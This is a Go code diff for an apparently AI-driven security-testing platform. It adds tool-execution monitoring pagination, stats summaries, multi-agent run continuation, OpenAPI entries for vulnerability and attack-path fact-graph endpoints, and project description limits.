+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
+				if matchStatus && matchTool {
+					filtered = append(filtered, exec)
+				}
+			}
+			allExecutions = filtered
+		}
+		total := len(allExecutions)
+		offset := (page - 1) * pageSize
+		end := offset + pageSize
+		if end > total {
+			end = total
+		}
+		if offset >= total {
+			return []*mcp.ToolExecution{}, total
+		}
+		pageSlice := allExecutions[offset:end]
+		out := make([]*mcp.ToolExecution, 0, len(pageSlice))
+		for _, exec := range pageSlice {
+			if exec == nil {
+				continue
+			}
+			out = append(out, slimToolExecution(exec))
+		}
+		return out, total
+	}
+
+	offset := (page - 1) * pageSize
+	executions, err := h.db.LoadToolExecutionListPage(offset, pageSize, status, toolName)
+	if err != nil {
+		h.logger.Warn("从数据库加载执行记录列表失败，回退到内存数据", zap.Error(err))
+		return h.loadExecutionListWithPaginationFromMemory(page, pageSize, status, toolName)
+	}
+
+	total, err := h.db.CountToolExecutions(status, toolName)
+	if err != nil {
+		h.logger.Warn("获取执行记录总数失败", zap.Error(err))
+		total = offset + len(executions)
+		if len(executions) == pageSize {
+			total = offset + len(executions) + 1
+		}
+	}
+
+	return executions, total
+}
+
+func (h *MonitorHandler) loadExecutionListWithPaginationFromMemory(page, pageSize int, status, toolName string) ([]*mcp.ToolExecution, int) {
+	allExecutions := h.mcpServer.GetAllExecutions()
+	if status != "" || toolName != "" {
+		filtered := make([]*mcp.ToolExecution, 0)
+		for _, exec := range allExecutions {
+			matchStatus := status == "" || exec.Status == status
+			matchTool := toolNameFilterMatches(exec.ToolName, toolName)
+			if matchStatus && matchTool {
+				filtered = append(filtered, exec)
+			}
+		}
+		allExecutions = filtered
+	}
+	total := len(allExecutions)
+	offset := (page - 1) * pageSize
+	end := offset + pageSize
+	if end > total {
+		end = total
+	}
+	if offset >= total {
+		return []*mcp.ToolExecution{}, total
+	}
+	pageSlice := allExecutions[offset:end]
+	out := make([]*mcp.ToolExecution, 0, len(pageSlice))
+	for _, exec := range pageSlice {
+		if exec == nil {
+			continue
+		}
+		out = append(out, slimToolExecution(exec))
+	}
+	return out, total
+}
+
+func slimToolExecution(exec *mcp.ToolExecution) *mcp.ToolExecution {
+	if exec == nil {
+		return nil
+	}
+	slim := &mcp.ToolExecution{
+		ID:        exec.ID,
+		ToolName:  exec.ToolName,
+		Status:    exec.Status,
+		StartTime: exec.StartTime,
+	}
+	if exec.EndTime != nil {
+		end := *exec.EndTime
+		slim.EndTime = &end
+	}
+	if exec.Duration > 0 {
+		slim.Duration = exec.Duration
+	}
+	return slim
+}
+
 func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status, toolName string) ([]*mcp.ToolExecution, int) {
 	if h.db == nil {
 		allExecutions := h.mcpServer.GetAllExecutions()
@@ -113,7 +269,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 			for _, exec := range allExecutions {
 				matchStatus := status == "" || exec.Status == status
 				// 支持部分匹配（模糊搜索）
-				matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
 				if matchStatus && matchTool {
 					filtered = append(filtered, exec)
 				}
@@ -143,7 +299,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 			for _, exec := range allExecutions {
 				matchStatus := status == "" || exec.Status == status
 				// 支持部分匹配（模糊搜索）
-				matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
 				if matchStatus && matchTool {
 					filtered = append(filtered, exec)
 				}
@@ -176,7 +332,78 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 	return executions, total
 }
 
-func (h *MonitorHandler) loadStats() map[string]*mcp.ToolStats {
+func (h *MonitorHandler) loadStatsSummary(topN int) (*MonitorStatsSummary, []*mcp.ToolStats) {
+	if topN <= 0 {
+		topN = monitorPageTopTools
+	}
+
+	if h.db != nil {
+		result, err := h.db.LoadToolStatsSummary(topN)
+		if err == nil {
+			return dbStatsSummaryToMonitor(result), result.TopTools
+		}
+		h.logger.Warn("从数据库加载统计汇总失败，回退到内存数据", zap.Error(err))
+	}
+
+	stats := h.loadStatsMap()
+	return summarizeToolStats(stats, topN)
+}
+
+func dbStatsSummaryToMonitor(result *database.ToolStatsSummaryResult) *MonitorStatsSummary {
+	if result == nil {
+		return &MonitorStatsSummary{}
+	}
+	summary := &MonitorStatsSummary{
+		TotalCalls:   result.Summary.TotalCalls,
+		SuccessCalls: result.Summary.SuccessCalls,
+		FailedCalls:  result.Summary.FailedCalls,
+		ToolCount:    result.Summary.ToolCount,
+	}
+	if result.Summary.LastCallTime != nil {
+		t := *result.Summary.LastCallTime
+		summary.LastCallTime = &t
+	}
+	return summary
+}
+
+func summarizeToolStats(stats map[string]*mcp.ToolStats, topN int) (*MonitorStatsSummary, []*mcp.ToolStats) {
+	summary := &MonitorStatsSummary{}
+	if len(stats) == 0 {
+		return summary, nil
+	}
+
+	all := make([]*mcp.ToolStats, 0, len(stats))
+	for _, stat := range stats {
+		if stat == nil {
+			continue
+		}
+		summary.ToolCount++
+		summary.TotalCalls += stat.TotalCalls
+		summary.SuccessCalls += stat.SuccessCalls
+		summary.FailedCalls += stat.FailedCalls
+		if stat.LastCallTime != nil && (summary.LastCallTime == nil || stat.LastCallTime.After(*summary.LastCallTime)) {
+			t := *stat.LastCallTime
+			summary.LastCallTime = &t
+		}
+		if stat.TotalCalls > 0 {
+			statCopy := *stat
+			all = append(all, &statCopy)
+		}
+	}
+
+	sort.Slice(all, func(i, j int) bool {
+		if all[i].TotalCalls == all[j].TotalCalls {
+			return all[i].ToolName < all[j].ToolName
+		}
+		return all[i].TotalCalls > all[j].TotalCalls
+	})
+	if len(all) > topN {
+		all = all[:topN]
+	}
+	return summary, all
+}
+
+func (h *MonitorHandler) loadStatsMap() map[string]*mcp.ToolStats {
 	// 合并内部MCP服务器和外部MCP管理器的统计信息
 	stats := make(map[string]*mcp.ToolStats)
 
@@ -230,6 +457,7 @@ func (h *MonitorHandler) GetExecution(c *gin.Context) {
 	// 先从内部MCP服务器查找
 	exec, exists := h.mcpServer.GetExecution(id)
 	if exists {
+		h.enrichExecutionsConversationID([]*mcp.ToolExecution{exec})
 		c.JSON(http.StatusOK, exec)
 		return
 	}
@@ -238,6 +466,7 @@ func (h *MonitorHandler) GetExecution(c *gin.Context) {
 	if h.externalMCPMgr != nil {
 		exec, exists = h.externalMCPMgr.GetExecution(id)
 		if exists {
+			h.enrichExecutionsConversationID([]*mcp.ToolExecution{exec})
 			c.JSON(http.StatusOK, exec)
 			return
 		}
@@ -247,6 +476,7 @@ func (h *MonitorHandler) GetExecution(c *gin.Context) {
 	if h.db != nil {
 		exec, err := h.db.GetToolExecution(id)
 		if err == nil && exec != nil {
+			h.enrichExecutionsConversationID([]*mcp.ToolExecution{exec})
 			c.JSON(http.StatusOK, exec)
 			return
 		}
@@ -273,6 +503,19 @@ func (h *MonitorHandler) CancelExecution(c *gin.Context) {
 		return
 	}
 	note = strings.TrimSpace(body.Note)
+
+	convID := h.conversationIDForRunningExecution(id)
+	if convID != "" && h.agentHandler != nil {
+		if ok, payload := h.agentHandler.cancelToolContinueAfter(convID, id, note); ok {
+			h.logger.Info("MCP 监控页终止工具（与对话中断并继续一致）",
+				zap.String("executionId", id),
+				zap.String("conversationId", convID),
+				zap.Bool("hasNote", note != ""),
+			)
+			c.JSON(http.StatusOK, payload)
+			return
+		}
+	}
 	if h.mcpServer.CancelToolExecutionWithNote(id, note) {
 		h.logger.Info("已请求取消 MCP 工具执行", zap.String("executionId", id), zap.String("source", "internal"), zap.Bool("hasNote", note != ""))
 		c.JSON(http.StatusOK, gin.H{"message": "已发送终止信号", "executionId": id})
@@ -286,6 +529,52 @@ func (h *MonitorHandler) CancelExecution(c *gin.Context) {
 	c.JSON(http.StatusNotFound, gin.H{"error": "未找到进行中的工具执行，或该任务已结束"})
 }
 
+func (h *MonitorHandler) enrichExecutionsConversationID(executions []*mcp.ToolExecution) {
+	for _, exec := range executions {
+		if exec == nil || exec.Status != "running" {
+			continue
+		}
+		exec.ConversationID = h.conversationIDForRunningExecution(exec.ID)
+	}
+}
+
+func (h *MonitorHandler) conversationIDForRunningExecution(executionID string) string {
+	executionID = strings.TrimSpace(executionID)
+	if executionID == "" || h.taskManager == nil {
+		return ""
+	}
+	if conv := h.taskManager.ConversationIDForActiveMCPExecution(executionID); conv != "" {
+		return conv
+	}
+	exec := h.lookupExecution(executionID)
+	if exec == nil || exec.Status != "running" {
+		return ""
+	}
+	if strings.TrimSpace(exec.ToolName) == "execute" {
+		if onlyConv, ok := h.taskManager.ConversationIDForActiveEinoExecute(); ok {
+			return onlyConv
+		}
+	}
+	return ""
+}
+
+func (h *MonitorHandler) lookupExecution(id string) *mcp.ToolExecution {
+	if exec, ok := h.mcpServer.GetExecution(id); ok {
+		return exec
+	}
+	if h.externalMCPMgr != nil {
+		if exec, ok := h.externalMCPMgr.GetExecution(id); ok {
+			return exec
+		}
+	}
+	if h.db != nil {
+		if exec, err := h.db.GetToolExecution(id); err == nil && exec != nil {
+			return exec
+		}
+	}
+	return nil
+}
+
 // BatchGetToolNames 批量获取工具执行的工具名称（消除前端 N+1 请求）
 func (h *MonitorHandler) BatchGetToolNames(c *gin.Context) {
 	var req struct {
@@ -323,8 +612,17 @@ func (h *MonitorHandler) BatchGetToolNames(c *gin.Context) {
 
 // GetStats 获取统计信息
 func (h *MonitorHandler) GetStats(c *gin.Context) {
-	stats := h.loadStats()
-	c.JSON(http.StatusOK, stats)
+	topN := 30
+	if topStr := c.Query("top"); topStr != "" {
+		if t, err := strconv.Atoi(topStr); err == nil && t > 0 && t <= 100 {
+			topN = t
+		}
+	}
+	summary, topTools := h.loadStatsSummary(topN)
+	c.JSON(http.StatusOK, StatsResponse{
+		Summary:  summary,
+		TopTools: topTools,
+	})
 }
 
 // CallsTimelinePoint 调用趋势数据点
@@ -584,3 +882,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
 	h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
 	c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除（如果存在）"})
 }
+
+// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
+func normalizeToolNameFilter(name string) string {
+	name = strings.TrimSpace(name)
+	if name == "" {
+		return name
+	}
+	if strings.Contains(name, "::") {
+		return name
+	}
+	if idx := strings.Index(name, "__"); idx > 0 {
+		return name[:idx] + "::" + name[idx+2:]
+	}
+	return name
+}
+
+func toolNameFilterMatches(storedName, filter string) bool {
+	filter = strings.TrimSpace(filter)
+	if filter == "" {
+		return true
+	}
+	storedLower := strings.ToLower(storedName)
+	filterLower := strings.ToLower(filter)
+	if strings.Contains(storedLower, filterLower) {
+		return true
+	}
+	normFilter := strings.ToLower(normalizeToolNameFilter(filter))
+	if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
+		return true
+	}
+	return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
+}

internal/handler/multi_agent.go

@@ -136,7 +136,6 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 
 	var cancelWithCause context.CancelCauseFunc
 	curFinalMessage := prep.FinalMessage
-	segmentUserMessage := prep.FinalMessage // 本请求原始用户句，临时重试时不得丢失
 	curHistory := prep.History
 	roleTools := prep.RoleTools
 	orch := strings.TrimSpace(req.Orchestration)
@@ -187,9 +186,9 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 
 	// 同一 HTTP 流内多段 Run（如中断并继续）合并 MCP execution id，供最终 response / 库表与工具芯片展示完整列表
 	var cumulativeMCPExecutionIDs []string
-	var transientRunAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
+	var emptyResponseContinueAttempt int
 
 	for {
 		segmentMainIterationMax := 0
@@ -224,6 +223,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 		}
 		taskCtxLoop := mcp.WithMCPConversationID(taskCtx, conversationID)
 		taskCtxLoop = mcp.WithToolRunRegistry(taskCtxLoop, h.tasks)
+		taskCtxLoop = mcp.WithEinoExecuteRunRegistry(taskCtxLoop, h.tasks)
 		taskCtxLoop = multiagent.WithHITLToolInterceptor(taskCtxLoop, func(ctx context.Context, toolName, arguments string) (string, error) {
 			return h.interceptHITLForEinoTool(ctx, cancelWithCause, conversationID, assistantMessageID, sendEvent, toolName, arguments)
 		})
@@ -233,8 +233,10 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 			h.config,
 			&h.config.MultiAgent,
 			h.agent,
+			h.db,
 			h.logger,
 			conversationID,
+			h.conversationProjectID(conversationID),
 			curFinalMessage,
 			curHistory,
 			roleTools,
@@ -242,7 +244,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 			h.agentsMarkdownDir,
 			orch,
 			chatReasoningToClientIntent(req.Reasoning),
-			h.projectBlackboardBlock(conversationID),
+			h.agentSessionContextBlock(conversationID),
 		)
 
 		if result != nil && len(result.MCPExecutionIDs) > 0 {
@@ -250,30 +252,17 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 		}
 
 		if runErr == nil {
-			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
-			transientRunAttempts = 0
+			mw := &h.config.MultiAgent.EinoMiddleware
+			if h.tryContinueOnEinoEmptyResponse(taskCtx, mw, conversationID, result, &emptyResponseContinueAttempt, &curHistory, &curFinalMessage, progressCallback) {
+				mainIterationOffset += segmentMainIterationMax
+				timeoutCancel()
+				baseCtx, cancelWithCause, taskCtx, timeoutCancel = h.rebindEinoRunningTask(conversationID, timeoutCancel)
+				continue
+			}
 			timeoutCancel()
 			break
 		}
 
-		handled, fatalErr := h.handleEinoTransientRetryContinue(
-			baseCtx, conversationID, result, runErr, &transientRunAttempts,
-			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
-			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
-		)
-		if handled {
-			mainIterationOffset += segmentMainIterationMax
-			timeoutCancel()
-			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
-			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
-			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
-			h.tasks.UpdateTaskStatus(conversationID, "running")
-			continue
-		}
-		if fatalErr != nil {
-			runErr = fatalErr
-		}
-
 		cause := context.Cause(baseCtx)
 		if errors.Is(cause, multiagent.ErrInterruptContinue) {
 			if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
@@ -298,8 +287,6 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 				"source":         "interrupt_continue",
 			})
 			mainIterationOffset += segmentMainIterationMax
-			// 非临时错误分段续跑（用户中断并继续）时，清空 transient 计数，避免跨分段累加。
-			transientRunAttempts = 0
 			timeoutCancel()
 			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
 			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
@@ -430,23 +417,32 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
 		return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
 	})
 
-	result, runErr := multiagent.RunDeepAgent(
-		taskCtx,
-		h.config,
-		&h.config.MultiAgent,
-		h.agent,
-		h.logger,
-		prep.ConversationID,
-		prep.FinalMessage,
-		prep.History,
-		prep.RoleTools,
-		progressCallback,
-		h.agentsMarkdownDir,
-		strings.TrimSpace(req.Orchestration),
-		chatReasoningToClientIntent(req.Reasoning),
-		h.projectBlackboardBlock(prep.ConversationID),
-	)
-	if runErr != nil {
+	curHist := prep.History
+	curMsg := prep.FinalMessage
+	var result *multiagent.RunResult
+	var runErr error
+	for {
+		result, runErr = multiagent.RunDeepAgent(
+			taskCtx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.db,
+			h.logger,
+			prep.ConversationID,
+			h.conversationProjectID(prep.ConversationID),
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			h.agentsMarkdownDir,
+			strings.TrimSpace(req.Orchestration),
+			chatReasoningToClientIntent(req.Reasoning),
+			h.agentSessionContextBlock(prep.ConversationID),
+		)
+		if runErr == nil {
+			break
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/openapi.go

@@ -2,10 +2,8 @@ package handler
 
 import (
 	"net/http"
-	"time"
 
 	"cyberstrike-ai/internal/database"
-	"cyberstrike-ai/internal/storage"
 
 	"github.com/gin-gonic/gin"
 	"go.uber.org/zap"
@@ -15,17 +13,15 @@ import (
 type OpenAPIHandler struct {
 	db               *database.DB
 	logger           *zap.Logger
-	resultStorage    storage.ResultStorage
 	conversationHdlr *ConversationHandler
 	agentHdlr        *AgentHandler
 }
 
 // NewOpenAPIHandler 创建新的OpenAPI处理器
-func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, resultStorage storage.ResultStorage, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
+func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
 	return &OpenAPIHandler{
 		db:               db,
 		logger:           logger,
-		resultStorage:    resultStorage,
 		conversationHdlr: conversationHdlr,
 		agentHdlr:        agentHdlr,
 	}
@@ -237,7 +233,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"status": map[string]interface{}{
 							"type":        "string",
 							"description": "状态",
-							"enum":        []string{"open", "closed", "fixed"},
+							"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 						},
 						"target": map[string]interface{}{
 							"type":        "string",
@@ -575,7 +571,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"status": map[string]interface{}{
 							"type":        "string",
 							"description": "状态",
-							"enum":        []string{"open", "closed", "fixed"},
+							"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 						},
 						"type": map[string]interface{}{
 							"type":        "string",
@@ -744,14 +740,21 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					"properties": map[string]interface{}{
 						"executions": map[string]interface{}{
 							"type":        "array",
-							"description": "执行记录列表",
+							"description": "执行记录列表（轻量字段，不含 arguments/result）",
 							"items": map[string]interface{}{
 								"$ref": "#/components/schemas/ToolExecution",
 							},
 						},
-						"stats": map[string]interface{}{
+						"summary": map[string]interface{}{
 							"type":        "object",
-							"description": "统计信息",
+							"description": "工具调用汇总",
+						},
+						"topTools": map[string]interface{}{
+							"type":        "array",
+							"description": "调用量 Top N 工具",
+							"items": map[string]interface{}{
+								"type": "object",
+							},
 						},
 						"timestamp": map[string]interface{}{
 							"type":        "string",
@@ -760,20 +763,24 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						},
 						"total": map[string]interface{}{
 							"type":        "integer",
-							"description": "总数",
+							"description": "执行记录总数",
 						},
 						"page": map[string]interface{}{
 							"type":        "integer",
 							"description": "当前页",
 						},
-						"page_size": map[string]interface{}{
+						"pageSize": map[string]interface{}{
 							"type":        "integer",
 							"description": "每页数量",
 						},
-						"total_pages": map[string]interface{}{
+						"totalPages": map[string]interface{}{
 							"type":        "integer",
 							"description": "总页数",
 						},
+						"retentionDays": map[string]interface{}{
+							"type":        "integer",
+							"description": "执行记录保留天数",
+						},
 					},
 				},
 				"ConfigResponse": map[string]interface{}{
@@ -1236,6 +1243,34 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 								"type": "string",
 							},
 						},
+						{
+							"name":        "project_id",
+							"in":          "query",
+							"required":    false,
+							"description": "按项目筛选；传 __none__ 表示仅未绑定项目的对话",
+							"schema": map[string]interface{}{
+								"type": "string",
+							},
+						},
+						{
+							"name":        "exclude_grouped",
+							"in":          "query",
+							"required":    false,
+							"description": "为 true 时排除已加入分组的对话（默认在未搜索且未按项目筛选时启用）",
+							"schema": map[string]interface{}{
+								"type": "boolean",
+							},
+						},
+						{
+							"name":        "sort_by",
+							"in":          "query",
+							"required":    false,
+							"description": "排序字段：updated_at（默认）或 created_at",
+							"schema": map[string]interface{}{
+								"type": "string",
+								"enum": []string{"updated_at", "created_at"},
+							},
+						},
 					},
 					"responses": map[string]interface{}{
 						"200": map[string]interface{}{
@@ -1344,7 +1379,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 				"delete": map[string]interface{}{
 					"tags":        []string{"对话管理"},
 					"summary":     "删除对话",
-					"description": "删除指定的对话及其所有相关数据（消息、漏洞等）。**此操作不可恢复**。",
+					"description": "删除指定的对话及其会话数据（消息、攻击链等）。**漏洞记录会保留**，仅解除与会话的关联。**此操作不可恢复**。",
 					"operationId": "deleteConversation",
 					"parameters": []map[string]interface{}{
 						{
@@ -2468,17 +2503,108 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					"parameters": []map[string]interface{}{
 						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
 						{"name": "fact_key", "in": "query", "schema": map[string]interface{}{"type": "string"}},
+						{"name": "include_links", "in": "query", "schema": map[string]interface{}{"type": "boolean"}},
+						{"name": "include_link_counts", "in": "query", "schema": map[string]interface{}{"type": "boolean"}},
 					},
-					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "事实列表或单条"}},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "事实列表或单条（可含 link_counts / outgoing_links）"}},
 				},
 				"post": map[string]interface{}{
 					"tags": []string{"项目管理"}, "summary": "创建/更新事实", "operationId": "upsertProjectFactREST",
 					"parameters": []map[string]interface{}{
 						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
 					},
+					"requestBody": map[string]interface{}{
+						"required": true,
+						"content": map[string]interface{}{
+							"application/json": map[string]interface{}{
+								"schema": map[string]interface{}{
+									"type": "object",
+									"properties": map[string]interface{}{
+										"fact_key": map[string]interface{}{"type": "string"},
+										"summary":  map[string]interface{}{"type": "string"},
+										"links": map[string]interface{}{
+											"type": "array",
+											"items": map[string]interface{}{
+												"type": "object",
+												"properties": map[string]interface{}{
+													"to":   map[string]interface{}{"type": "string"},
+													"type": map[string]interface{}{"type": "string"},
+												},
+											},
+										},
+										"links_text": map[string]interface{}{"type": "string", "description": "type: fact_key 每行一条"},
+									},
+								},
+							},
+						},
+					},
 					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "成功"}},
 				},
 			},
+			"/api/projects/{id}/fact-graph": map[string]interface{}{
+				"get": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "获取项目事实攻击路径图", "operationId": "getProjectFactGraph",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+						{"name": "view", "in": "query", "schema": map[string]interface{}{"type": "string", "enum": []string{"path", "full"}, "default": "path"}},
+						{"name": "exclude_deprecated", "in": "query", "schema": map[string]interface{}{"type": "boolean", "default": true}},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "nodes + edges"}},
+				},
+			},
+			"/api/projects/{id}/fact-edges": map[string]interface{}{
+				"get": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "列出项目全部事实边", "operationId": "listProjectFactEdges",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "边列表"}},
+				},
+				"post": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "添加事实边", "operationId": "createProjectFactEdge",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+					},
+					"requestBody": map[string]interface{}{
+						"required": true,
+						"content": map[string]interface{}{
+							"application/json": map[string]interface{}{
+								"schema": map[string]interface{}{
+									"type": "object",
+									"required": []string{"source_fact_key", "target_fact_key", "edge_type"},
+									"properties": map[string]interface{}{
+										"source_fact_key": map[string]interface{}{"type": "string"},
+										"target_fact_key": map[string]interface{}{"type": "string"},
+										"edge_type":       map[string]interface{}{"type": "string"},
+										"confidence":      map[string]interface{}{"type": "string"},
+									},
+								},
+							},
+						},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "边已创建"}},
+				},
+			},
+			"/api/projects/{id}/fact-edges/{edgeId}": map[string]interface{}{
+				"delete": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "删除事实边", "operationId": "deleteProjectFactEdge",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+						{"name": "edgeId", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "删除成功"}},
+				},
+			},
+			"/api/projects/{id}/promote-attack-chain/{conversationId}": map[string]interface{}{
+				"post": map[string]interface{}{
+					"tags": []string{"项目管理"}, "summary": "将对话攻击链沉淀到项目事实图", "operationId": "promoteAttackChainToProject",
+					"parameters": []map[string]interface{}{
+						{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+						{"name": "conversationId", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
+					},
+					"responses": map[string]interface{}{"200": map[string]interface{}{"description": "沉淀结果（facts/edges/graph）"}},
+				},
+			},
 			"/api/vulnerabilities": map[string]interface{}{
 				"get": map[string]interface{}{
 					"tags":        []string{"漏洞管理"},
@@ -5034,6 +5160,51 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					},
 				},
 			},
+			"/api/config/list-models": map[string]interface{}{
+				"post": map[string]interface{}{
+					"tags":        []string{"配置管理"},
+					"summary":     "获取模型列表",
+					"description": "代理调用 OpenAI 兼容 GET /models，返回可用模型 id 列表。Claude 不支持。",
+					"operationId": "listModels",
+					"requestBody": map[string]interface{}{
+						"required": true,
+						"content": map[string]interface{}{
+							"application/json": map[string]interface{}{
+								"schema": map[string]interface{}{
+									"type":     "object",
+									"required": []string{"api_key"},
+									"properties": map[string]interface{}{
+										"provider": map[string]interface{}{"type": "string", "description": "LLM提供商（openai/claude）", "example": "openai"},
+										"base_url": map[string]interface{}{"type": "string", "description": "API基地址（可选）"},
+										"api_key":  map[string]interface{}{"type": "string", "description": "API密钥"},
+									},
+								},
+							},
+						},
+					},
+					"responses": map[string]interface{}{
+						"200": map[string]interface{}{
+							"description": "获取结果",
+							"content": map[string]interface{}{
+								"application/json": map[string]interface{}{
+									"schema": map[string]interface{}{
+										"type": "object",
+										"properties": map[string]interface{}{
+											"success":   map[string]interface{}{"type": "boolean"},
+											"supported": map[string]interface{}{"type": "boolean"},
+											"error":     map[string]interface{}{"type": "string"},
+											"models":    map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
+											"count":     map[string]interface{}{"type": "integer"},
+										},
+									},
+								},
+							},
+						},
+						"400": map[string]interface{}{"description": "参数错误"},
+						"401": map[string]interface{}{"description": "未授权"},
+					},
+				},
+			},
 
 			// ==================== 终端 ====================
 			"/api/terminal/run": map[string]interface{}{
@@ -6354,35 +6525,8 @@ func (h *OpenAPIHandler) GetConversationResults(c *gin.Context) {
 		vulnerabilities[i] = *v
 	}
 
-	// 获取执行结果（从MCP执行记录中获取）
+	// 获取执行结果（历史大结果由 Eino reduction 落盘，此处不再聚合文件存储）
 	executionResults := []map[string]interface{}{}
-	for _, msg := range messages {
-		if len(msg.MCPExecutionIDs) > 0 {
-			for _, execID := range msg.MCPExecutionIDs {
-				// 尝试从结果存储中获取执行结果
-				if h.resultStorage != nil {
-					result, err := h.resultStorage.GetResult(execID)
-					if err == nil && result != "" {
-						// 获取元数据以获取工具名称和创建时间
-						metadata, err := h.resultStorage.GetResultMetadata(execID)
-						toolName := "unknown"
-						createdAt := time.Now()
-						if err == nil && metadata != nil {
-							toolName = metadata.ToolName
-							createdAt = metadata.CreatedAt
-						}
-						executionResults = append(executionResults, map[string]interface{}{
-							"id":        execID,
-							"toolName":  toolName,
-							"status":    "success",
-							"result":    result,
-							"createdAt": createdAt.Format(time.RFC3339),
-						})
-					}
-				}
-			}
-		}
-	}
 
 	response := map[string]interface{}{
 		"conversationId":   conv.ID,

internal/handler/project.go

@@ -1,10 +1,12 @@
 package handler
 
 import (
+	"fmt"
 	"net/http"
 	"strconv"
 	"strings"
 
+	"cyberstrike-ai/internal/attackchain"
 	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/project"
 
@@ -12,6 +14,16 @@ import (
 	"go.uber.org/zap"
 )
 
+const maxProjectDescriptionRunes = 4000
+
+func clampProjectDescription(s string) string {
+	r := []rune(s)
+	if len(r) <= maxProjectDescriptionRunes {
+		return s
+	}
+	return string(r[:maxProjectDescriptionRunes])
+}
+
 // ProjectHandler 项目管理处理器。
 type ProjectHandler struct {
 	db     *database.DB
@@ -48,7 +60,7 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
 	}
 	p := &database.Project{
 		Name:        strings.TrimSpace(req.Name),
-		Description: req.Description,
+		Description: clampProjectDescription(req.Description),
 		ScopeJSON:   req.ScopeJSON,
 		Status:      strings.TrimSpace(req.Status),
 	}
